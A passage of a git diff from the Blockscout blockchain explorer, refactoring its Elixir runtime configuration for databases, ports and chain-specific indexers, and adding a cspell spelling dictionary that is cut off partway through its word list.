ConfigHelper.parse_integer_env_var("INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NATIVE_DECIMALS", 18), + rollup_network_id_l1: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NETWORK_ID"), + rollup_index_l1: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_POLYGON_ZKEVM_L1_BRIDGE_ROLLUP_INDEX") + +config :indexer, Indexer.Fetcher.PolygonZkevm.BridgeL1.Supervisor, enabled: ConfigHelper.chain_type() == :polygon_zkevm + +config :indexer, Indexer.Fetcher.PolygonZkevm.BridgeL1Tokens.Supervisor, + enabled: ConfigHelper.chain_type() == :polygon_zkevm + +config :indexer, Indexer.Fetcher.PolygonZkevm.BridgeL2, + start_block: System.get_env("INDEXER_POLYGON_ZKEVM_L2_BRIDGE_START_BLOCK"), + bridge_contract: System.get_env("INDEXER_POLYGON_ZKEVM_L2_BRIDGE_CONTRACT"), + rollup_network_id_l2: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_POLYGON_ZKEVM_L2_BRIDGE_NETWORK_ID"), + rollup_index_l2: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_POLYGON_ZKEVM_L2_BRIDGE_ROLLUP_INDEX") + +config :indexer, Indexer.Fetcher.PolygonZkevm.BridgeL2.Supervisor, enabled: ConfigHelper.chain_type() == :polygon_zkevm + +config :indexer, Indexer.Fetcher.PolygonZkevm.TransactionBatch, + chunk_size: ConfigHelper.parse_integer_env_var("INDEXER_POLYGON_ZKEVM_BATCHES_CHUNK_SIZE", 20), + ignore_numbers: System.get_env("INDEXER_POLYGON_ZKEVM_BATCHES_IGNORE", "0"), + recheck_interval: ConfigHelper.parse_integer_env_var("INDEXER_POLYGON_ZKEVM_BATCHES_RECHECK_INTERVAL", 60) + +config :indexer, Indexer.Fetcher.PolygonZkevm.TransactionBatch.Supervisor, + enabled: + ConfigHelper.chain_type() == :polygon_zkevm && + ConfigHelper.parse_bool_env_var("INDEXER_POLYGON_ZKEVM_BATCHES_ENABLED") + +config :indexer, Indexer.Fetcher.Celo.ValidatorGroupVotes, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_CELO_VALIDATOR_GROUP_VOTES_BATCH_SIZE", 200_000) + +config :indexer, Indexer.Fetcher.Celo.ValidatorGroupVotes.Supervisor, + enabled: + ConfigHelper.chain_type() == :celo and + not ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_CELO_VALIDATOR_GROUP_VOTES_FETCHER") + +celo_epoch_fetchers_enabled? = + ConfigHelper.chain_type() == :celo and + not ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_CELO_EPOCH_FETCHER") + +config :indexer, Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor, + enabled: celo_epoch_fetchers_enabled?, + disabled?: not celo_epoch_fetchers_enabled? + +config :indexer, Indexer.Fetcher.Filecoin.BeryxAPI, + base_url: ConfigHelper.safe_get_env("BERYX_API_BASE_URL", "https://api.zondax.ch/fil/data/v3/mainnet"), + api_token: System.get_env("BERYX_API_TOKEN") + +config :indexer, Indexer.Fetcher.Filecoin.FilfoxAPI, + base_url: ConfigHelper.safe_get_env("FILFOX_API_BASE_URL", "https://filfox.info/api/v1") + +config :indexer, Indexer.Fetcher.Filecoin.AddressInfo.Supervisor, + disabled?: + ConfigHelper.chain_type() != :filecoin or + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_FILECOIN_ADDRESS_INFO_FETCHER") + +config :indexer, Indexer.Fetcher.Filecoin.AddressInfo, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_FILECOIN_ADDRESS_INFO_CONCURRENCY", 1) + +config :indexer, Indexer.Fetcher.Scroll, + l1_eth_get_logs_range_size: ConfigHelper.parse_integer_env_var("INDEXER_SCROLL_L1_ETH_GET_LOGS_RANGE_SIZE", 250), + l2_eth_get_logs_range_size: ConfigHelper.parse_integer_env_var("INDEXER_SCROLL_L2_ETH_GET_LOGS_RANGE_SIZE", 1_000), + rpc: System.get_env("INDEXER_SCROLL_L1_RPC") + +config :indexer, Indexer.Fetcher.Scroll.L1FeeParam, gas_oracle: System.get_env("INDEXER_SCROLL_L2_GAS_ORACLE_CONTRACT") + +config :indexer, Indexer.Fetcher.Scroll.L1FeeParam.Supervisor, disabled?: ConfigHelper.chain_type() != :scroll + +config :indexer, Indexer.Fetcher.Scroll.BridgeL1, + messenger_contract: System.get_env("INDEXER_SCROLL_L1_MESSENGER_CONTRACT"), + start_block: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_SCROLL_L1_MESSENGER_START_BLOCK") + +config :indexer, Indexer.Fetcher.Scroll.BridgeL2, + messenger_contract: System.get_env("INDEXER_SCROLL_L2_MESSENGER_CONTRACT"), + start_block: ConfigHelper.parse_integer_env_var("INDEXER_SCROLL_L2_MESSENGER_START_BLOCK", first_block) + +config :indexer, Indexer.Fetcher.Scroll.Batch, + scroll_chain_contract: System.get_env("INDEXER_SCROLL_L1_CHAIN_CONTRACT"), + start_block: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_SCROLL_L1_BATCH_START_BLOCK"), + eip4844_blobs_api_url: System.get_env("INDEXER_SCROLL_L1_BATCH_BLOCKSCOUT_BLOBS_API_URL", "") + +config :indexer, Indexer.Fetcher.Scroll.BridgeL1.Supervisor, disabled?: ConfigHelper.chain_type() != :scroll + +config :indexer, Indexer.Fetcher.Scroll.BridgeL2.Supervisor, disabled?: ConfigHelper.chain_type() != :scroll + +config :indexer, Indexer.Fetcher.Scroll.Batch.Supervisor, disabled?: ConfigHelper.chain_type() != :scroll + +config :indexer, Indexer.Utils.EventNotificationsCleaner, + interval: ConfigHelper.parse_time_env_var("INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_INTERVAL", "2m"), + enabled: + app_mode == :indexer && ConfigHelper.parse_bool_env_var("INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_ENABLED", "true"), + max_age: ConfigHelper.parse_time_env_var("INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_MAX_AGE", "5m") + +config :ex_aws, + json_codec: Jason, + access_key_id: System.get_env("NFT_MEDIA_HANDLER_AWS_ACCESS_KEY_ID"), + secret_access_key: System.get_env("NFT_MEDIA_HANDLER_AWS_SECRET_ACCESS_KEY") + +config :ex_aws, :s3, + scheme: "https://", + host: System.get_env("NFT_MEDIA_HANDLER_AWS_BUCKET_HOST"), + port: nil, + public_r2_url: ConfigHelper.parse_url_env_var("NFT_MEDIA_HANDLER_AWS_PUBLIC_BUCKET_URL", nil, false), + bucket_name: System.get_env("NFT_MEDIA_HANDLER_AWS_BUCKET_NAME") + +nmh_enabled? = ConfigHelper.parse_bool_env_var("NFT_MEDIA_HANDLER_ENABLED") +nmh_remote? = ConfigHelper.parse_bool_env_var("NFT_MEDIA_HANDLER_REMOTE_DISPATCHER_NODE_MODE_ENABLED") +nmh_worker? = ConfigHelper.parse_bool_env_var("NFT_MEDIA_HANDLER_IS_WORKER") +nodes_map = ConfigHelper.parse_json_with_atom_keys_env_var("NFT_MEDIA_HANDLER_NODES_MAP") + +config :nft_media_handler, + enabled?: nmh_enabled?, + tmp_dir: "./temp", + remote?: nmh_remote?, + worker?: nmh_worker?, + nodes_map: nodes_map, + standalone_media_worker?: nmh_enabled? && nmh_remote? && nmh_worker?, + worker_concurrency: ConfigHelper.parse_integer_env_var("NFT_MEDIA_HANDLER_WORKER_CONCURRENCY", 10), + worker_batch_size: ConfigHelper.parse_integer_env_var("NFT_MEDIA_HANDLER_WORKER_BATCH_SIZE", 10), + worker_spawn_tasks_timeout: ConfigHelper.parse_time_env_var("NFT_MEDIA_HANDLER_WORKER_SPAWN_TASKS_TIMEOUT", "100ms"), + cache_uniqueness_name: :cache_uniqueness, + cache_uniqueness_max_size: ConfigHelper.parse_integer_env_var("NFT_MEDIA_HANDLER_CACHE_UNIQUENESS_MAX_SIZE", 100_000) + +config :nft_media_handler, Indexer.NFTMediaHandler.Backfiller, + enabled?: ConfigHelper.parse_bool_env_var("NFT_MEDIA_HANDLER_BACKFILL_ENABLED"), + queue_size: ConfigHelper.parse_integer_env_var("NFT_MEDIA_HANDLER_BACKFILL_QUEUE_SIZE", 1_000), + enqueue_busy_waiting_timeout: + ConfigHelper.parse_time_env_var("NFT_MEDIA_HANDLER_BACKFILL_ENQUEUE_BUSY_WAITING_TIMEOUT", "1s") + +config :indexer, Indexer.Fetcher.Zilliqa.ScillaSmartContracts.Supervisor, + disabled?: ConfigHelper.chain_type() != :zilliqa Code.require_file("#{config_env()}.exs", "config/runtime") diff --git a/config/runtime/dev.exs b/config/runtime/dev.exs index e7348f1e5ddf..007996057cb0 100644 --- a/config/runtime/dev.exs +++ b/config/runtime/dev.exs @@ -1,30 +1,43 @@ import Config +alias EthereumJSONRPC.Variant +alias Explorer.Repo.ConfigHelper, as: ExplorerConfigHelper + ###################### ### BlockScout Web ### ###################### -port = - case System.get_env("PORT") && Integer.parse(System.get_env("PORT")) do - {port, _} -> port - :error -> nil - nil -> nil - end +port = ExplorerConfigHelper.get_port() config :block_scout_web, BlockScoutWeb.Endpoint, secret_key_base: System.get_env("SECRET_KEY_BASE") || "RMgI4C1HSkxsEjdhtGMfwAHfyT6CKWXOgzCboJflfSm4jeAlic52io05KB6mqzc5", http: [ - port: port || 4000 + port: port ], url: [ scheme: "http", - host: System.get_env("BLOCKSCOUT_HOST") || "localhost", - path: System.get_env("NETWORK_PATH") || "/", - api_path: System.get_env("API_PATH") || "/" + host: System.get_env("BLOCKSCOUT_HOST", "localhost") ], https: [ - port: (port && port + 1) || 4001, + port: port + 1, + cipher_suite: :strong, + certfile: System.get_env("CERTFILE") || "priv/cert/selfsigned.pem", + keyfile: System.get_env("KEYFILE") || "priv/cert/selfsigned_key.pem" + ] + +config :block_scout_web, BlockScoutWeb.HealthEndpoint, + secret_key_base: + System.get_env("SECRET_KEY_BASE") || "RMgI4C1HSkxsEjdhtGMfwAHfyT6CKWXOgzCboJflfSm4jeAlic52io05KB6mqzc5", + http: [ + port: port + ], + url: [ + scheme: "http", + host: System.get_env("BLOCKSCOUT_HOST", "localhost") + ], + https: [ + port: port + 1, cipher_suite: :strong, certfile: System.get_env("CERTFILE") || "priv/cert/selfsigned.pem", keyfile: System.get_env("KEYFILE") || "priv/cert/selfsigned_key.pem" @@ -41,47 +54,104 @@ config :block_scout_web, BlockScoutWeb.Endpoint, database = if System.get_env("DATABASE_URL"), do: nil, else: "explorer_dev" hostname = if System.get_env("DATABASE_URL"), do: nil, else: "localhost" -database_api_url = - if System.get_env("DATABASE_READ_ONLY_API_URL"), - do: System.get_env("DATABASE_READ_ONLY_API_URL"), - else: System.get_env("DATABASE_URL") - pool_size = if System.get_env("DATABASE_READ_ONLY_API_URL"), - do: String.to_integer(System.get_env("POOL_SIZE", "40")), - else: String.to_integer(System.get_env("POOL_SIZE", "50")) + do: ConfigHelper.parse_integer_env_var("POOL_SIZE", 30), + else: ConfigHelper.parse_integer_env_var("POOL_SIZE", 40) + +queue_target = ConfigHelper.parse_integer_env_var("DATABASE_QUEUE_TARGET", 50) # Configure your database config :explorer, Explorer.Repo, database: database, hostname: hostname, url: System.get_env("DATABASE_URL"), - pool_size: pool_size + pool_size: pool_size, + queue_target: queue_target database_api = if System.get_env("DATABASE_READ_ONLY_API_URL"), do: nil, else: database hostname_api = if System.get_env("DATABASE_READ_ONLY_API_URL"), do: nil, else: hostname -pool_size_api = - if System.get_env("DATABASE_READ_ONLY_API_URL"), - do: String.to_integer(System.get_env("POOL_SIZE_API", "50")), - else: String.to_integer(System.get_env("POOL_SIZE_API", "10")) - # Configure API database config :explorer, Explorer.Repo.Replica1, database: database_api, hostname: hostname_api, - url: database_api_url, - pool_size: pool_size_api - -variant = - if is_nil(System.get_env("ETHEREUM_JSONRPC_VARIANT")) do - "ganache" - else - System.get_env("ETHEREUM_JSONRPC_VARIANT") - |> String.split(".") - |> List.last() - |> String.downcase() - end + url: ExplorerConfigHelper.get_api_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("POOL_SIZE_API", 10), + queue_target: queue_target + +database_account = if System.get_env("ACCOUNT_DATABASE_URL"), do: nil, else: database +hostname_account = if System.get_env("ACCOUNT_DATABASE_URL"), do: nil, else: hostname + +# Configure Account database +config :explorer, Explorer.Repo.Account, + database: database_account, + hostname: hostname_account, + url: ExplorerConfigHelper.get_account_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("ACCOUNT_POOL_SIZE", 10), + queue_target: queue_target + +database_mud = if System.get_env("MUD_DATABASE_URL"), do: nil, else: database +hostname_mud = if System.get_env("MUD_DATABASE_URL"), do: nil, else: hostname + +# Configure MUD indexer database +config :explorer, Explorer.Repo.Mud, + database: database_mud, + hostname: hostname_mud, + url: ExplorerConfigHelper.get_mud_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("MUD_POOL_SIZE", 10), + queue_target: queue_target + +# Configure Suave database +config :explorer, Explorer.Repo.Suave, + database: database, + hostname: hostname, + url: ExplorerConfigHelper.get_suave_db_url(), + pool_size: 1 + +database_event_notification = if System.get_env("DATABASE_EVENT_URL"), do: nil, else: database +hostname_event_notification = if System.get_env("DATABASE_EVENT_URL"), do: nil, else: hostname + +# Configure Event Notification database +config :explorer, Explorer.Repo.EventNotifications, + database: database_event_notification, + hostname: hostname_event_notification, + url: ExplorerConfigHelper.get_event_notification_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("DATABASE_EVENT_POOL_SIZE", 10), + queue_target: queue_target + +# Actually the following repos are not started, and its pool size remains +# unused. Separating repos for different CHAIN_TYPE is implemented only for the +# sake of keeping DB schema update relevant to the current chain type +for repo <- [ + # Chain-type dependent repos + Explorer.Repo.Arbitrum, + Explorer.Repo.Beacon, + Explorer.Repo.Blackfort, + Explorer.Repo.Celo, + Explorer.Repo.Filecoin, + Explorer.Repo.Optimism, + Explorer.Repo.PolygonEdge, + Explorer.Repo.PolygonZkevm, + Explorer.Repo.RSK, + Explorer.Repo.Scroll, + Explorer.Repo.Shibarium, + Explorer.Repo.Stability, + Explorer.Repo.Zilliqa, + Explorer.Repo.ZkSync, + # Feature dependent repos + Explorer.Repo.BridgedTokens, + Explorer.Repo.ShrunkInternalTransactions, + Explorer.Repo.Neon + ] do + config :explorer, repo, + database: database, + hostname: hostname, + url: System.get_env("DATABASE_URL"), + pool_size: 1 +end + +variant = Variant.get() Code.require_file("#{variant}.exs", "apps/explorer/config/dev") diff --git a/config/runtime/prod.exs b/config/runtime/prod.exs index 8a5c8f24cda1..1096c999e81a 100644 --- a/config/runtime/prod.exs +++ b/config/runtime/prod.exs @@ -1,16 +1,31 @@ import Config +alias EthereumJSONRPC.Variant +alias Explorer.Repo.ConfigHelper, as: ExplorerConfigHelper + ###################### ### BlockScout Web ### ###################### +port = ExplorerConfigHelper.get_port() + config :block_scout_web, BlockScoutWeb.Endpoint, secret_key_base: System.get_env("SECRET_KEY_BASE"), check_origin: System.get_env("CHECK_ORIGIN", "false") == "true" || false, - http: [port: System.get_env("PORT")], + http: [port: port], + url: [ + scheme: System.get_env("BLOCKSCOUT_PROTOCOL") || "https", + port: port, + host: System.get_env("BLOCKSCOUT_HOST") || "localhost" + ] + +config :block_scout_web, BlockScoutWeb.HealthEndpoint, + secret_key_base: System.get_env("SECRET_KEY_BASE"), + check_origin: System.get_env("CHECK_ORIGIN", "false") == "true" || false, + http: [port: port], url: [ scheme: System.get_env("BLOCKSCOUT_PROTOCOL") || "https", - port: System.get_env("PORT"), + port: port, host: System.get_env("BLOCKSCOUT_HOST") || "localhost" ] @@ -22,42 +37,82 @@ config :block_scout_web, BlockScoutWeb.Endpoint, ### Explorer ### ################ -pool_size = - if System.get_env("DATABASE_READ_ONLY_API_URL"), - do: String.to_integer(System.get_env("POOL_SIZE", "50")), - else: String.to_integer(System.get_env("POOL_SIZE", "40")) +pool_size = ConfigHelper.parse_integer_env_var("POOL_SIZE", 50) +queue_target = ConfigHelper.parse_integer_env_var("DATABASE_QUEUE_TARGET", 50) # Configures the database config :explorer, Explorer.Repo, url: System.get_env("DATABASE_URL"), pool_size: pool_size, - ssl: String.equivalent?(System.get_env("ECTO_USE_SSL") || "true", "true") - -database_api_url = - if System.get_env("DATABASE_READ_ONLY_API_URL"), - do: System.get_env("DATABASE_READ_ONLY_API_URL"), - else: System.get_env("DATABASE_URL") - -pool_size_api = - if System.get_env("DATABASE_READ_ONLY_API_URL"), - do: String.to_integer(System.get_env("POOL_SIZE_API", "50")), - else: String.to_integer(System.get_env("POOL_SIZE_API", "10")) + ssl: ExplorerConfigHelper.ssl_enabled?(), + queue_target: queue_target # Configures API the database config :explorer, Explorer.Repo.Replica1, - url: database_api_url, - pool_size: pool_size_api, - ssl: String.equivalent?(System.get_env("ECTO_USE_SSL") || "true", "true") - -variant = - if is_nil(System.get_env("ETHEREUM_JSONRPC_VARIANT")) do - "parity" - else - System.get_env("ETHEREUM_JSONRPC_VARIANT") - |> String.split(".") - |> List.last() - |> String.downcase() - end + url: ExplorerConfigHelper.get_api_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("POOL_SIZE_API", 50), + ssl: ExplorerConfigHelper.ssl_enabled?(), + queue_target: queue_target + +# Configures Account database +config :explorer, Explorer.Repo.Account, + url: ExplorerConfigHelper.get_account_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("ACCOUNT_POOL_SIZE", 50), + ssl: ExplorerConfigHelper.ssl_enabled?(), + queue_target: queue_target + +# Configures Mud database +config :explorer, Explorer.Repo.Mud, + url: ExplorerConfigHelper.get_mud_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("MUD_POOL_SIZE", 50), + ssl: ExplorerConfigHelper.ssl_enabled?(), + queue_target: queue_target + +# Configures Suave database +config :explorer, Explorer.Repo.Suave, + url: ExplorerConfigHelper.get_suave_db_url(), + pool_size: 1, + ssl: ExplorerConfigHelper.ssl_enabled?() + +config :explorer, Explorer.Repo.EventNotifications, + url: ExplorerConfigHelper.get_event_notification_db_url(), + pool_size: ConfigHelper.parse_integer_env_var("DATABASE_EVENT_POOL_SIZE", 10), + ssl: ExplorerConfigHelper.ssl_enabled?(), + queue_target: queue_target + +# Actually the following repos are not started, and its pool size remains +# unused. Separating repos for different chain type or feature flag is +# implemented only for the sake of keeping DB schema update relevant to the +# current chain type +for repo <- [ + # Feature dependent repos + Explorer.Repo.BridgedTokens, + Explorer.Repo.ShrunkInternalTransactions, + + # Chain-type dependent repos + Explorer.Repo.Arbitrum, + Explorer.Repo.Beacon, + Explorer.Repo.Blackfort, + Explorer.Repo.Celo, + Explorer.Repo.Filecoin, + Explorer.Repo.Optimism, + Explorer.Repo.PolygonEdge, + Explorer.Repo.PolygonZkevm, + Explorer.Repo.RSK, + Explorer.Repo.Scroll, + Explorer.Repo.Shibarium, + Explorer.Repo.Stability, + Explorer.Repo.Zilliqa, + Explorer.Repo.ZkSync, + Explorer.Repo.Neon + ] do + config :explorer, repo, + url: System.get_env("DATABASE_URL"), + pool_size: 1, + ssl: ExplorerConfigHelper.ssl_enabled?() +end + +variant = Variant.get() Code.require_file("#{variant}.exs", "apps/explorer/config/prod") diff --git a/config/runtime/test.exs b/config/runtime/test.exs index 38cd15e0dfbe..8742c888a7c1 100644 --- a/config/runtime/test.exs +++ b/config/runtime/test.exs @@ -1,9 +1,13 @@ import Config +alias EthereumJSONRPC.Variant + ###################### ### BlockScout Web ### ###################### +config :block_scout_web, BlockScoutWeb.API.V2, enabled: true + ######################## ### Ethereum JSONRPC ### ######################## @@ -12,15 +16,11 @@ import Config ### Explorer ### ################ -variant = - if is_nil(System.get_env("ETHEREUM_JSONRPC_VARIANT")) do - "parity" - else - System.get_env("ETHEREUM_JSONRPC_VARIANT") - |> String.split(".") - |> List.last() - |> String.downcase() - end +config :explorer, Explorer.Chain.Cache.Counters.Transactions24hCount, + cache_period: ConfigHelper.parse_time_env_var("CACHE_TRANSACTIONS_24H_STATS_PERIOD", "1h"), + enable_consolidation: false + +variant = Variant.get() Code.require_file("#{variant}.exs", "apps/explorer/config/test") diff --git a/config/test.exs b/config/test.exs index 915feb80e81f..279c1e5cd5b8 100644 --- a/config/test.exs +++ b/config/test.exs @@ -4,14 +4,10 @@ import Config config :logger, :console, level: :warn +config :logger_json, :backend, level: :none + config :logger, :ecto, level: :warn, path: Path.absname("logs/test/ecto.log") config :logger, :error, path: Path.absname("logs/test/error.log") - -config :explorer, Explorer.ExchangeRates, - source: Explorer.ExchangeRates.Source.NoOpSource, - store: :none - -config :explorer, Explorer.KnownTokens, store: :none diff --git a/cspell.json b/cspell.json new file mode 100644 index 000000000000..38d62be97023 --- /dev/null +++ b/cspell.json @@ -0,0 +1,770 @@ +// cSpell Settings +{ + "$schema": "https://raw.githubusercontent.com/streetsidesoftware/cspell/main/cspell.schema.json", + // Version of the setting file. Always 0.2 + "version": "0.2", + // language - current active spelling language + "language": "en", + // enabled - enable code editor suggestions + "enabled": true, + // files - glob patterns of files to be checked + "files": [ + "**/*.ex*", + "**/*.eex", + "**/*.js", + "CHANGELOG.md" + ], + // useGitignore - use .gitignore to exclude files from checking + "useGitignore": true, + "ignorePaths": [ + "apps/block_scout_web/assets/js/lib/ace/src-min/*.js" + ], + "ignoreRegExpList": [ + // Ignore filecoin f410f-like native addresses + "f410f[a-z2-7]{39}" + ], + // words - list of words to be always considered correct + "words": [ + "aave", + "absname", + "acbs", + "accountlist", + "accs", + "actb", + "addedfile", + "AION", + "AIRTABLE", + "Aiubo", + "alfajores", + "alloc", + "Alookup", + "amzootyukbugmx", + "anytrust", + "apikey", + "APIV", + "Arbitrum", + "arbsys", + "ARGMAX", + "arounds", + "arweave", + "asda", + "Asearch", + "Asfpp", + "atoken", + "audix", + "autodetectfalse", + "Autodetection", + "autodetecttrue", + "Autonity", + "autoplay", + "Averify", + "awesomplete", + "Backfiller", + "backfillers", + "backoff", + "badhash", + "badnumber", + "badpassword", + "badrpc", + "bafybe", + "bafybeid", + "bafybeig", + "bafybeihxuj", + "balancemulti", + "benchee", + "beryx", + "besu", + "bignumber", + "bigserial", + "binwrite", + "bitmask", + "bitwalker", + "bizbuz", + "Blackfort", + "blockaid", + "Blockchair", + "blockheight", + "blockless", + "blockno", + "blocknum", + "blockreward", + "blockscout", + "blockscoutuser", + "Boneh", + "bools", + "bridgedtokenlist", + "brotli", + "browserconfig", + "bsdr", + "Btvk", + "buildcache", + "buildin", + "buildkit", + "buildx", + "bytea", + "bytecodes", + "byteshash", + "byts", + "bzzr", + "cacerts", + "cachex", + "callcode", + "CALLCODE", + "calltracer", + "callvalue", + "capturelog", + "cattributes", + "CBOR", + "Celestia", + "cellspacing", + "celo", + "certifi", + "cfasync", + "cfbljvn", + "chainid", + "chainlink", + "Chainscout", + "chakra", + "chardata", + "chartjs", + "checkmarks", + "checkproxyverification", + "checksummed", + "checkverifystatus", + "Chiado", + "childspec", + "chromedriver", + "citext", + "Cldr", + "clearfix", + "clickover", + "codecv", + "codeformat", + "coef", + "coeff", + "coinprice", + "coinsupply", + "coinzilla", + "coinzillatag", + "coloreyes", + "colorprimary", + "colorsecondary", + "colortertiary", + "colspan", + "comeonin", + "compilerversion", + "concache", + "cond", + "Consolas", + "contractaddress", + "contractaddresses", + "contractname", + "cookiejar", + "cooldown", + "cooltesthost", + "crosschain", + "crosslevel", + "crossorigin", + "CRYPTOCOMPARE", + "CryptoRank", + "ctbs", + "ctid", + "cumalative", + "Cyclomatic", + "cypherpunk", + "czilladx", + "datacap", + "datapoint", + "datepicker", + "DATETIME", + "deae", + "decamelize", + "decompiled", + "decompiler", + "Decompiler", + "dedup", + "DefiLlama", + "defmock", + "defsupervisor", + "dejob", + "dejobio", + "delegatecall", + "DELEGATECALL", + "delegators", + "demonitor", + "denormalization", + "Denormalization", + "Denormalized", + "descr", + "describedby", + "dets", + "devcontainer", + "dfda", + "dialyxir", + "differenceby", + "discordapp", + "disksup", + "Docsify", + "docstrings", + "dparty", + "dropzone", + "dxgd", + "dyntsrohg", + "Ebhwp", + "econnrefused", + "ECTO", + "EDCSA", + "edhygl", + "efkuga", + "einval", + "Encryptor", + "endregion", + "enetunreach", + "enoent", + "epns", + "epochrewards", + "Erigon", + "errora", + "errorb", + "erts", + "ethaccount", + "Ethash", + "etherchain", + "ethprice", + "ethsupply", + "ethsupplyexchange", + "etimedout", + "eveem", + "evenodd", + "evision", + "evmversion", + "exitor", + "exla", + "explorable", + "exponention", + "extcodehash", + "extname", + "extremums", + "exvcr", + "ezstd", + "Faileddi", + "falala", + "feelin", + "FEVM", + "filecoin", + "Filecoin", + "Filesize", + "Filfox", + "fixidity", + "fkey", + "Floki", + "fontawesome", + "fortawesome", + "fsym", + "fullwidth", + "FULU", + "Fuov", + "fvdskvjglav", + "fwrite", + "fwupv", + "geas", + "getabi", + "getbalance", + "getblockbyhash", + "getblockcountdown", + "getblocknobytime", + "getblockreward", + "getcontractcreation", + "getepoch", + "getlogs", + "getminedblocks", + "getsourcecode", + "getstatus", + "gettext", + "gettoken", + "gettokenholders", + "gettxinfo", + "gettxreceiptstatus", + "giga", + "Gitter", + "goldtoken", + "goqtclhifepvfnicv", + "gqz", + "granitegrey", + "graphiql", + "grecaptcha", + "greymatter", + "gtag", + "gzipped", + "happygokitty", + "hardfork", + "haspopup", + "Hazkne", + "healthcheck", + "histoday", + "hljs", + "Hodl", + "holesky", + "HOPR", + "httpoison", + "Hyperchain", + "hyperledger", + "identicons", + "ifdef", + "ifeq", + "Iframe", + "iframes", + "Iframes", + "ilike", + "illustr", + "inapp", + "Incrementer", + "indexrelid", + "indexrelname", + "indisvalid", + "insertable", + "Instrumenter", + "intersectionby", + "ints", + "invalidend", + "invalidhash", + "invalidoffset", + "invalidpage", + "invalidsortoption", + "invalidstart", + "inversed", + "iolist", + "ipfs", + "ipos", + "itxs", + "johnnny", + "joken", + "jsons", + "juon", + "Karnaugh", + "keccak", + "Keepalive", + "keyout", + "kittencream", + "KnxbUejwY", + "labelledby", + "lastmod", + "lastname", + "lastword", + "lformat", + "libp", + "libraryaddress", + "libraryname", + "libsecp", + "Limegreen", + "linecap", + "linejoin", + "listaccounts", + "listcontracts", + "lkve", + "llhauc", + "lockedgold", + "loggable", + "LPAD", + "LUKSO", + "luxon", + "mabi", + "Mainnets", + "malihu", + "mallowance", + "MARKETCAP", + "maxlength", + "mbot", + "mcap", + "mconst", + "mdef", + "MDWW", + "meck", + "meer", + "memsup", + "Mendonça", + "Menlo", + "mergeable", + "Merkle", + "merkleize", + "metaprogramming", + "metatags", + "mfmmvq", + "microsecs", + "millis", + "mintings", + "mistmatches", + "miterlimit", + "Mixfile", + "mmem", + "mname", + "mnot", + "Mobula", + "moxed", + "moxing", + "mpayable", + "msapplication", + "msha", + "mstile", + "mstor", + "msymbol", + "mtransfer", + "mult", + "multicall", + "multichain", + "multis", + "munchos", + "munknownc", + "munknowne", + "mydep", + "mykey", + "nanomorph", + "nbsp", + "Nerg", + "Nethermind", + "Neue", + "newkey", + "nftproduct", + "ngettext", + "nillifies", + "Njhr", + "nlmyzui", + "nocheck", + "Nodealus", + "nohighlight", + "nolink", + "nonconsensus", + "nonpending", + "noproc", + "noreferrer", + "noreply", + "NOTOK", + "noves", + "NovesFi", + "nowarn", + "nowrap", + "ntoa", + "Numbe", + "Nunito", + "nxdomain", + "OFAC", + "offchain", + "omni", + "onclick", + "onconnect", + "ondemand", + "ondisconnect", + "opos", + "Optim", + "outcoming", + "overengineering", + "passwordless", + "pawesome", + "paych", + "paymentchannel", + "pbcopy", + "PBFT", + "peeker", + "peekers", + "pendingtxlist", + "perc", + "permissionless", + "persistable", + "PGDATABASE", + "PGHOST", + "PGPASSWORD", + "PGPORT", + "PGUSER", + "phash", + "photoswipe", + "pikaday", + "PIRL", + "pkey", + "pkix", + "playsinline", + "plpgsql", + "plts", + "poanetwork", + "poap", + "pocc", + "polyline", + "poolboy", + "POSDAO", + "Posix", + "postgrex", + "Postrge", + "predeploy", + "prederive", + "prederived", + "prewalk", + "progressbar", + "proxiable", + "proxying", + "psql", + "pubkey", + "pubkeys", + "purrstige", + "qdai", + "Qebz", + "qitmeer", + "Qmbgk", + "qrcode", + "questiona", + "questionb", + "qwertyufhgkhiop", + "qwertyuioiuytrewertyuioiuytrertyuio", + "racecar", + "raisedbrow", + "RANDAO", + "rangeright", + "raquo", + "rarr", + "ratiolector", + "rbtc", + "rdparty", + "rebranded", + "recaptcha", + "rechunk", + "recollated", + "redix", + "refetched", + "regclass", + "registryproxy", + "REINDEX", + "reindexing", + "relid", + "relkind", + "relname", + "relpages", + "reltuples", + "remasc", + "removedfile", + "repayer", + "reqs", + "rerequest", + "reshows", + "Resizer", + "retcode", + "retryable", + "returnaddress", + "retval", + "reuseaddr", + "rollup", + "rollups", + "RPC's", + "RPCs", + "rudimentaries", + "sabm", + "safelow", + "savechives", + "schemaname", + "Secon", + "secp", + "Segoe", + "seindexed", + "selfdestruct", + "selfdestructed", + "SENDGRID", + "Sepolia", + "Sérgio", + "Shacham", + "sharelock", + "sharelocks", + "shibarium", + "shortdoc", + "shortify", + "siwe", + "SJONRPC", + "smallint", + "smth", + "snapshotted", + "snapshotting", + "sobelow", + "Sockex", + "Sokol", + "solana", + "SOLIDITYSCAN", + "soljson", + "someout", + "sourcecode", + "sourcify", + "sparkline", + "spex", + "splitted", + "srcset", + "stabletoken", + "staker", + "stakers", + "stateroot", + "staticcall", + "STATICCALL", + "storagemarket", + "storageminer", + "storagepower", + "strftime", + "strhash", + "stringly", + "stylelint", + "stylesheet", + "stylys", + "subcall", + "subcalls", + "subdenomination", + "subnetwork", + "subqueries", + "subquery", + "subranges", + "subsubcalls", + "subtrace", + "subtraces", + "successa", + "successb", + 